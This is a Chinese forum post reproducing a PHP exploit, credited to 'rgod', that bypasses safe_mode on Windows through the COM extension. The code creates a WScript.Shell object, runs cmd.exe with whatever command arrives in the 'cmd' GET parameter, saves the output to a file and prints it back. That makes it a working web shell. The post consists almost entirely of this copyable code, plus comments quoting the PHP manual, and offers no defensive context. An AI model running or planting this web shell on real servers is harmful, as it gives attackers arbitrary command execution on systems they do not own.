发新话题
打印

PHP COM extensions (inconsistent Win32) safe_mode Bypass Exploit

PHP COM extensions (inconsistent Win32) safe_mode Bypass Exploit

复制内容到剪贴板
代码:
<?php
  //PHP COM extensions (inconsistent Win32) safe_mode bypass
  //by rgod

  $____suntzu = new COM("WScript.Shell");
  $____suntzu->Run(&#39;c:\windows\system32\cmd.exe /c &#39;.escapeshellarg($_GET[cmd]).&#39; > &#39;.dirname($_SERVER[SCRIPT_FILENAME]).&#39;/suntzoi.txt&#39;);
  $____suntzoi=file("suntzoi.txt");
  for ($i=0; $i<count($____suntzoi); $i++) {echo nl2br(htmlentities($____suntzoi[$i]));}

  // *quote* from the php manual:
  // There is no installation needed to use these functions; they are part of the PHP core.

  // The windows version of PHP has built in support for this extension. You do not need to load any additional extension in order to use these functions.

  // You are responsible for installing support for the various COM objects that you intend to use (such as MS Word);
  // we don&#39;t and can&#39;t bundle all of those with PHP.
?>

TOP

发新话题